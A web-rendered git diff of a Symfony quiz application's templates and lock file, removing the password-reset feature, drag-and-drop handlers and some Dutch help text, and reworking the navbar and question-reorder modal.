"sentry/sentry-symfony": {
|
"sentry/sentry-symfony": {
|
||||||
"version": "5.8",
|
"version": "5.8",
|
||||||
"recipe": {
|
"recipe": {
|
||||||
@@ -359,18 +356,6 @@
|
|||||||
"config/routes/web_profiler.yaml"
|
"config/routes/web_profiler.yaml"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"symfonycasts/reset-password-bundle": {
|
|
||||||
"version": "1.25",
|
|
||||||
"recipe": {
|
|
||||||
"repo": "github.com/symfony/recipes",
|
|
||||||
"branch": "main",
|
|
||||||
"version": "1.0",
|
|
||||||
"ref": "97c1627c0384534997ae1047b93be517ca16de43"
|
|
||||||
},
|
|
||||||
"files": [
|
|
||||||
"config/packages/reset_password.yaml"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"symfonycasts/sass-bundle": {
|
"symfonycasts/sass-bundle": {
|
||||||
"version": "v0.8.2"
|
"version": "v0.8.2"
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
<h6>Kandidaten</h6>
|
<h6>Kandidaten</h6>
|
||||||
<p>Dit zijn de spelers van dit seizoen. Voeg alle deelnemers toe voordat je de eerste test start, kandidaten worden automatisch aan nieuwe testen gekoppeld.</p>
|
<p>Dit zijn de spelers van dit seizoen. Voeg alle deelnemers toe voordat je de eerste test start, kandidaten worden automatisch aan nieuwe testen gekoppeld.</p>
|
||||||
<p>Namen zijn vrij in te voeren, gebruik dezelfde schrijfwijze die je in het spel gebruikt.</p>
|
<p>Namen zijn vrij in te voeren, gebruik dezelfde schrijfwijze die je in het spel gebruikt.</p>
|
||||||
<p>Gebruik het potlood-icoon om een kandidaat te hernoemen en het prullenbak-icoon om er een te verwijderen. Verwijderen gooit ook alle gegeven antwoorden van die kandidaat weg.</p>
|
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
<h6>Seizoensinstellingen</h6>
|
<h6>Seizoensinstellingen</h6>
|
||||||
<p>Pas hier de weergave-instellingen van dit seizoen aan.</p>
|
<p>Pas hier de weergave-instellingen van dit seizoen aan.</p>
|
||||||
<p><strong>Nummers tonen:</strong> toont vraagnummers tijdens de test. <strong>Antwoord bevestigen:</strong> vraagt kandidaten om hun antwoord te bevestigen voordat ze doorgaan.</p>
|
<p><strong>Nummers tonen:</strong> toont vraagnummers tijdens de test. <strong>Antwoord bevestigen:</strong> vraagt kandidaten om hun antwoord te bevestigen voordat ze doorgaan.</p>
|
||||||
<p><strong>Seizoenscode:</strong> de code waarmee kandidaten dit seizoen kunnen vinden. Genereer een nieuwe code als de huidige per ongeluk gedeeld is, de oude code werkt daarna niet meer.</p>
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
{% block body %}
|
{% block body %}
|
||||||
<form method="post">
|
<form method="post">
|
||||||
<h3 class="mb-3">{{ 'Please sign in'|trans }}</h3>
|
<h1 class="py-2 h3 mb-3 font-weight-normal">{{ 'Please sign in'|trans }}</h1>
|
||||||
<div class="mb-3">
|
<div class="mb-3">
|
||||||
<label for="username" class="form-label">{{ 'Email'|trans }}</label>
|
<label for="username" class="form-label">{{ 'Email'|trans }}</label>
|
||||||
<input type="email" value="{{ last_username }}" name="_username" id="username" class="form-control"
|
<input type="email" value="{{ last_username }}" name="_username" id="username" class="form-control"
|
||||||
@@ -31,7 +31,5 @@
|
|||||||
</button>
|
</button>
|
||||||
<a href="{{ path('tvdt_register') }}"
|
<a href="{{ path('tvdt_register') }}"
|
||||||
class="btn btn-link">{{ 'Create an account'|trans }}</a>
|
class="btn btn-link">{{ 'Create an account'|trans }}</a>
|
||||||
<a href="{{ path('tvdt_forgot_password_request') }}"
|
|
||||||
class="btn btn-link">{{ 'Forgot your password?'|trans }}</a>
|
|
||||||
</form>
|
</form>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
|
|||||||
@@ -10,9 +10,9 @@
|
|||||||
aria-label="Toggle navigation">
|
aria-label="Toggle navigation">
|
||||||
<span class="navbar-toggler-icon"></span>
|
<span class="navbar-toggler-icon"></span>
|
||||||
</button>
|
</button>
|
||||||
|
{% if is_granted('IS_AUTHENTICATED') %}
|
||||||
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
||||||
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
|
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
|
||||||
{% if is_granted('IS_AUTHENTICATED') %}
|
|
||||||
<li class="nav-item">
|
<li class="nav-item">
|
||||||
<a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}"
|
<a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}"
|
||||||
href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a>
|
href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a>
|
||||||
@@ -21,37 +21,14 @@
|
|||||||
<a class="nav-link"
|
<a class="nav-link"
|
||||||
href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a>
|
href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a>
|
||||||
</li>
|
</li>
|
||||||
{% endif %}
|
|
||||||
</ul>
|
</ul>
|
||||||
<ul class="navbar-nav mb-auto me-2 me-lg-0">
|
<ul class="navbar-nav mb-auto me-2 me-lg-0">
|
||||||
<li class="nav-item" data-controller="bo--modal"
|
|
||||||
data-action="turbo:submit-end->bo--modal#frameSubmitEnd">
|
|
||||||
<button type="button" class="nav-link border-0 bg-transparent"
|
|
||||||
data-action="click->bo--modal#open"
|
|
||||||
data-src="{{ path('tvdt_backoffice_releases') }}"
|
|
||||||
data-modal-title="{{ 'Releases'|trans }}">{{ 'Releases'|trans }}</button>
|
|
||||||
|
|
||||||
<div class="modal fade" tabindex="-1" data-bo--modal-target="modal"
|
|
||||||
data-action="hidden.bs.modal->bo--modal#resetDirty"
|
|
||||||
aria-labelledby="releasesModalLabel" aria-hidden="true">
|
|
||||||
<div class="modal-dialog modal-lg modal-dialog-scrollable">
|
|
||||||
<div class="modal-content">
|
|
||||||
<turbo-frame id="releases-modal-frame" data-bo--modal-target="frame"></turbo-frame>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</li>
|
|
||||||
{% if is_granted('IS_AUTHENTICATED') %}
|
|
||||||
<li class="nav-item">
|
|
||||||
<a class="nav-link{% if 'tvdt_backoffice_settings' == app.current_route() %} active{% endif %}"
|
|
||||||
href="{{ path('tvdt_backoffice_settings') }}">{{ 'Settings'|trans }}</a>
|
|
||||||
</li>
|
|
||||||
<li class="nav-item">
|
<li class="nav-item">
|
||||||
<a class="nav-link"
|
<a class="nav-link"
|
||||||
href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a>
|
href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a>
|
||||||
</li>
|
</li>
|
||||||
{% endif %}
|
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
|
{% endif %}
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|||||||
@@ -1,13 +1,10 @@
|
|||||||
{% macro answer_row(answerForm) %}
|
{% macro answer_row(answerForm) %}
|
||||||
<div class="d-flex align-items-center gap-2 mb-2" data-collection-item
|
<div class="d-flex align-items-center gap-2 mb-2" data-collection-item>
|
||||||
data-action="dragover->bo--form-collection#dragOver dragleave->bo--form-collection#dragLeave drop->bo--form-collection#drop">
|
|
||||||
{{ form_widget(answerForm.ordering) }}
|
{{ form_widget(answerForm.ordering) }}
|
||||||
<span class="text-muted" data-drag-handle style="cursor: grab" title="{{ 'Drag to reorder'|trans }}"
|
<span class="text-muted" data-drag-handle style="cursor: grab" title="{{ 'Drag to reorder'|trans }}"><i class="bi bi-grip-vertical"></i></span>
|
||||||
draggable="true"
|
|
||||||
data-action="dragstart->bo--form-collection#dragStart dragend->bo--form-collection#dragEnd"><i class="bi bi-grip-vertical"></i></span>
|
|
||||||
<div class="flex-grow-1">{{ form_widget(answerForm.text) }}</div>
|
<div class="flex-grow-1">{{ form_widget(answerForm.text) }}</div>
|
||||||
<div class="d-none">{{ form_widget(answerForm.isRightAnswer) }}</div>
|
<div class="d-none">{{ form_widget(answerForm.isRightAnswer) }}</div>
|
||||||
<button type="button"
|
<button type="button" tabindex="-1"
|
||||||
class="btn btn-sm {{ answerForm.isRightAnswer.vars.checked ? 'btn-success' : 'btn-danger' }}"
|
class="btn btn-sm {{ answerForm.isRightAnswer.vars.checked ? 'btn-success' : 'btn-danger' }}"
|
||||||
title="{{ 'Toggle correct answer'|trans }}"
|
title="{{ 'Toggle correct answer'|trans }}"
|
||||||
onclick="var cb=this.closest('[data-collection-item]').querySelector('input[type=checkbox]');cb.checked=!cb.checked;this.classList.toggle('btn-success',cb.checked);this.classList.toggle('btn-danger',!cb.checked);this.querySelector('i').className=cb.checked?'bi bi-check-lg':'bi bi-x-lg'">
|
onclick="var cb=this.closest('[data-collection-item]').querySelector('input[type=checkbox]');cb.checked=!cb.checked;this.classList.toggle('btn-success',cb.checked);this.classList.toggle('btn-danger',!cb.checked);this.querySelector('i').className=cb.checked?'bi bi-check-lg':'bi bi-x-lg'">
|
||||||
|
|||||||
@@ -3,30 +3,13 @@
|
|||||||
{{ form_start(form, {attr: {novalidate: 'novalidate'}}) }}
|
{{ form_start(form, {attr: {novalidate: 'novalidate'}}) }}
|
||||||
{{ form_row(form.question) }}
|
{{ form_row(form.question) }}
|
||||||
{{ form_row(form.reusable) }}
|
{{ form_row(form.reusable) }}
|
||||||
<div class="mb-3">
|
{{ form_row(form.labels) }}
|
||||||
{{ form_label(form.labels) }}
|
|
||||||
{{ form_errors(form.labels) }}
|
|
||||||
{% for labelChoice in form.labels %}
|
|
||||||
<div class="form-check">
|
|
||||||
<input type="checkbox" class="form-check-input"
|
|
||||||
id="{{ labelChoice.vars.id }}"
|
|
||||||
name="{{ labelChoice.vars.full_name }}"
|
|
||||||
value="{{ labelChoice.vars.value }}"
|
|
||||||
{% if labelChoice.vars.checked %}checked="checked"{% endif %}>
|
|
||||||
<label class="form-check-label" for="{{ labelChoice.vars.id }}">
|
|
||||||
<span class="badge rounded-pill text-bg-{{ labelChoice.vars.attr['data-colour'] }}">{{ labelChoice.vars.label }}</span>
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
{% endfor %}
|
|
||||||
{% do form.labels.setRendered %}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div data-controller="bo--form-collection"
|
<div data-controller="bo--form-collection"
|
||||||
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
||||||
{{ form_label(form.answers) }}
|
{{ form_label(form.answers) }}
|
||||||
{{ form_errors(form.answers) }}
|
{{ form_errors(form.answers) }}
|
||||||
<div data-bo--form-collection-target="collection"
|
<div data-bo--form-collection-target="collection">
|
||||||
data-action="input->bo--form-collection#autoExpand">
|
|
||||||
{% for answerForm in form.answers %}
|
{% for answerForm in form.answers %}
|
||||||
{{ macros.answer_row(answerForm) }}
|
{{ macros.answer_row(answerForm) }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -5,29 +5,12 @@
|
|||||||
<div class="modal-body">
|
<div class="modal-body">
|
||||||
{{ form_row(form.question) }}
|
{{ form_row(form.question) }}
|
||||||
{{ form_row(form.reusable) }}
|
{{ form_row(form.reusable) }}
|
||||||
<div class="mb-3">
|
{{ form_row(form.labels) }}
|
||||||
{{ form_label(form.labels) }}
|
|
||||||
{{ form_errors(form.labels) }}
|
|
||||||
{% for labelChoice in form.labels %}
|
|
||||||
<div class="form-check">
|
|
||||||
<input type="checkbox" class="form-check-input"
|
|
||||||
id="{{ labelChoice.vars.id }}"
|
|
||||||
name="{{ labelChoice.vars.full_name }}"
|
|
||||||
value="{{ labelChoice.vars.value }}"
|
|
||||||
{% if labelChoice.vars.checked %}checked="checked"{% endif %}>
|
|
||||||
<label class="form-check-label" for="{{ labelChoice.vars.id }}">
|
|
||||||
<span class="badge rounded-pill text-bg-{{ labelChoice.vars.attr['data-colour'] }}">{{ labelChoice.vars.label }}</span>
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
{% endfor %}
|
|
||||||
{% do form.labels.setRendered %}
|
|
||||||
</div>
|
|
||||||
<div data-controller="bo--form-collection"
|
<div data-controller="bo--form-collection"
|
||||||
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
||||||
{{ form_label(form.answers) }}
|
{{ form_label(form.answers) }}
|
||||||
{{ form_errors(form.answers) }}
|
{{ form_errors(form.answers) }}
|
||||||
<div data-bo--form-collection-target="collection"
|
<div data-bo--form-collection-target="collection">
|
||||||
data-action="input->bo--form-collection#autoExpand">
|
|
||||||
{% for answerForm in form.answers %}
|
{% for answerForm in form.answers %}
|
||||||
{{ macros.answer_row(answerForm) }}
|
{{ macros.answer_row(answerForm) }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -7,8 +7,7 @@
|
|||||||
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
||||||
{{ form_label(form.answers) }}
|
{{ form_label(form.answers) }}
|
||||||
{{ form_errors(form.answers) }}
|
{{ form_errors(form.answers) }}
|
||||||
<div data-bo--form-collection-target="collection"
|
<div data-bo--form-collection-target="collection">
|
||||||
data-action="input->bo--form-collection#autoExpand">
|
|
||||||
{% for answerForm in form.answers %}
|
{% for answerForm in form.answers %}
|
||||||
{{ macros.answer_row(answerForm) }}
|
{{ macros.answer_row(answerForm) }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -8,8 +8,7 @@
|
|||||||
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
data-bo--form-collection-prototype-value="{{ macros.answer_row(form.answers.vars.prototype)|e('html_attr') }}">
|
||||||
{{ form_label(form.answers) }}
|
{{ form_label(form.answers) }}
|
||||||
{{ form_errors(form.answers) }}
|
{{ form_errors(form.answers) }}
|
||||||
<div data-bo--form-collection-target="collection"
|
<div data-bo--form-collection-target="collection">
|
||||||
data-action="input->bo--form-collection#autoExpand">
|
|
||||||
{% for answerForm in form.answers %}
|
{% for answerForm in form.answers %}
|
||||||
{{ macros.answer_row(answerForm) }}
|
{{ macros.answer_row(answerForm) }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -37,7 +37,7 @@
|
|||||||
{% endif %}
|
{% endif %}
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<form action="{{ path('tvdt_backoffice_toggle_candidate', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST" class="d-inline">
|
<form action="{{ path('tvdt_backoffice_toggle_candidate', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST">
|
||||||
<input type="hidden" name="_token" value="{{ csrf_token('toggle_candidate') }}">
|
<input type="hidden" name="_token" value="{{ csrf_token('toggle_candidate') }}">
|
||||||
<button type="submit" class="btn btn-sm btn-outline-secondary">
|
<button type="submit" class="btn btn-sm btn-outline-secondary">
|
||||||
{% if quizCandidate == null or quizCandidate.active %}
|
{% if quizCandidate == null or quizCandidate.active %}
|
||||||
@@ -47,12 +47,6 @@
|
|||||||
{% endif %}
|
{% endif %}
|
||||||
</button>
|
</button>
|
||||||
</form>
|
</form>
|
||||||
{% if quizCandidate and quizCandidate.started %}
|
|
||||||
<form action="{{ path('tvdt_backoffice_reset_candidate_progress', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST" class="d-inline" onsubmit="return confirm('{{ 'Are you sure you want to reset progress for this candidate? Their given answers for this quiz will be deleted.'|trans|e('js') }}');">
|
|
||||||
<input type="hidden" name="_token" value="{{ csrf_token('reset_candidate_progress') }}">
|
|
||||||
<button type="submit" class="btn btn-sm btn-outline-danger">{{ 'Reset progress'|trans }}</button>
|
|
||||||
</form>
|
|
||||||
{% endif %}
|
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -86,20 +86,19 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div data-controller="bo--question-list bo--modal"
|
<div data-controller="bo--question-list bo--modal"
|
||||||
data-action="turbo:submit-end->bo--modal#frameSubmitEnd"
|
data-action="turbo:frame-load->bo--modal#frameLoad turbo:submit-end->bo--modal#frameSubmitEnd"
|
||||||
data-bo--question-list-reorder-url-value="{{ path('tvdt_backoffice_quiz_questions_reorder', {seasonCode: season.seasonCode, quiz: quiz.id}) }}"
|
data-bo--question-list-reorder-url-value="{{ path('tvdt_backoffice_quiz_questions_reorder', {seasonCode: season.seasonCode, quiz: quiz.id}) }}"
|
||||||
data-bo--question-list-csrf-value="{{ csrf_token('question_reorder') }}"
|
data-bo--question-list-csrf-value="{{ csrf_token('question_reorder') }}"
|
||||||
|
data-bo--question-list-can-modify-value="{{ is_granted('QUIZ_MODIFY_CONTENT', quiz) ? 'true' : 'false' }}"
|
||||||
data-bo--question-list-saved-label-value="{{ 'Order saved'|trans }}"
|
data-bo--question-list-saved-label-value="{{ 'Order saved'|trans }}"
|
||||||
data-bo--question-list-error-label-value="{{ 'Error saving order'|trans }}"
|
data-bo--question-list-error-label-value="{{ 'Error saving order'|trans }}">
|
||||||
data-bo--question-list-error-hint-value="{{ 'Refresh the page to try again.'|trans }}">
|
|
||||||
|
|
||||||
<h4 class="mb-3 d-flex align-items-center gap-2">
|
<h4 class="mb-3 d-flex align-items-center gap-2">
|
||||||
{{ 'Questions'|trans }}
|
{{ 'Questions'|trans }}
|
||||||
<span class="badge d-none fw-normal" style="font-size:.7rem;vertical-align:baseline" data-bo--question-list-target="status"></span>
|
<span class="badge d-none fw-normal" style="font-size:.7rem;vertical-align:baseline" data-bo--question-list-target="status"></span>
|
||||||
</h4>
|
</h4>
|
||||||
|
|
||||||
<div data-bo--question-list-target="list"
|
<div data-bo--question-list-target="list">
|
||||||
{% if is_granted('QUIZ_MODIFY_CONTENT', quiz) %}data-action="dragover->bo--question-list#dragOver dragleave->bo--question-list#dragLeave drop->bo--question-list#drop"{% endif %}>
|
|
||||||
{%~ for question in quiz.questions ~%}
|
{%~ for question in quiz.questions ~%}
|
||||||
<div class="card mb-2"
|
<div class="card mb-2"
|
||||||
data-bo--question-list-target="item"
|
data-bo--question-list-target="item"
|
||||||
@@ -107,9 +106,7 @@
|
|||||||
<div class="card-body py-2">
|
<div class="card-body py-2">
|
||||||
<div class="d-flex align-items-center gap-2">
|
<div class="d-flex align-items-center gap-2">
|
||||||
{% if is_granted('QUIZ_MODIFY_CONTENT', question) %}
|
{% if is_granted('QUIZ_MODIFY_CONTENT', question) %}
|
||||||
<span class="text-muted" style="cursor:grab"
|
<span class="text-muted" style="cursor:grab" data-drag-handle>
|
||||||
draggable="true"
|
|
||||||
data-action="dragstart->bo--question-list#dragStart dragend->bo--question-list#dragEnd">
|
|
||||||
<i class="bi bi-grip-vertical"></i>
|
<i class="bi bi-grip-vertical"></i>
|
||||||
</span>
|
</span>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
@@ -138,13 +135,12 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
{% else %}
|
{% else %}
|
||||||
{{ 'No questions have been added to this quiz yet.'|trans }}
|
{{ 'EMPTY'|trans }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="modal fade" tabindex="-1"
|
<div class="modal fade" tabindex="-1"
|
||||||
data-bo--modal-target="modal"
|
data-bo--modal-target="modal"
|
||||||
data-action="hidden.bs.modal->bo--modal#resetDirty"
|
|
||||||
aria-labelledby="questionEditModalLabel" aria-hidden="true">
|
aria-labelledby="questionEditModalLabel" aria-hidden="true">
|
||||||
<div class="modal-dialog modal-lg">
|
<div class="modal-dialog modal-lg">
|
||||||
<div class="modal-content">
|
<div class="modal-content">
|
||||||
@@ -152,9 +148,26 @@
|
|||||||
<h5 class="modal-title" id="questionEditModalLabel">{{ 'Edit question'|trans }}</h5>
|
<h5 class="modal-title" id="questionEditModalLabel">{{ 'Edit question'|trans }}</h5>
|
||||||
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
|
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
|
||||||
</div>
|
</div>
|
||||||
<turbo-frame id="question-modal-frame"
|
<turbo-frame id="question-modal-frame" data-bo--modal-target="frame"></turbo-frame>
|
||||||
data-bo--modal-target="frame"
|
</div>
|
||||||
data-action="input->bo--modal#markDirty change->bo--modal#markDirty"></turbo-frame>
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal fade" tabindex="-1"
|
||||||
|
data-bo--question-list-target="noticeModal"
|
||||||
|
aria-labelledby="questionReorderErrorModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title" id="questionReorderErrorModalLabel">{{ 'Could not save order'|trans }}</h5>
|
||||||
|
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
{{ 'The new question order could not be saved. Reordering has been disabled until you refresh the page.'|trans }}
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">{{ 'Close'|trans }}</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user